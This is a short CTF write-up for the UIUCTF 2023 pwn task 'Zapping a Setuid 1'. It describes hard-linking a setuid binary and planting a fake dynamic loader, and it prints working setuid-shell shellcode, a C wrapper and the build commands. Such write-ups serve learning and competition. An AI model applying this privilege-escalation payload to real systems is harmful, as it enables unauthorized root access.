Home / CTF events / UIUCTF 2023 / Tasks / Zapping a Setuid 1 / Writeup

Zapping a Setuid 1

by c0nrad / Sloppy Joe Pirates

Tags: pwn

Rating:

Summary:

1. Per hint, abuse CVE-2009-0876 to move setuid binary to new directory using `ln`
2. Abuse the fact that the new zapps will search locally for the loader by creating a new loader that just spawns a shell
3. Run the ./exe

Notes: For shellcode, ensure no usage of libc, it must call setuid, no stack canary.

```
# https://www.exploit-db.com/exploits/13320

unsigned char  __attribute__((section(".text#")))  shellcode[] =  "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62"
        "\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31"
        "\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c"
        "\x58\x0f\x05";

int __attribute__ ((constructor)) main() {
    int (*ret)() = (int(*)())shellcode;
    ret();
}
```

```
ln zapps/build/exe
gcc -Wall shell.c -g -Os -pipe -fno-stack-protector -fno-stack-protector -z execstack -e main -o ld-linux-x86-64.so.2
./exe
cat /mnt/flag
```

Original writeup (https://youtu.be/bmV0EL_cDpA?t=885).

Comments